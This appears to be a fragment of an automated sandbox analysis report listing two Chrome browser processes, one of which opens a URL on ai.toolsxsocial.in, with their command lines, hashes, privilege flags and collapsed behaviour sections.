Show Windows behavior

Process Token Activities

Token Adjusted

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 3212, Parent PID: 2544

General

Target ID:	2
Start time:	18:54:29
Start date:	21/02/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2468 --field-trial-handle=2432,i,15374466848034372760,4340357497403073754,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

File Activities

File Opened

Show Windows behavior

Thread Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Memory Activities

Memory Usage Statistics

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6736, Parent PID: 3904

General

Target ID:	3
Start time:	18:54:35
Start date:	21/02/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX"
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Process Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly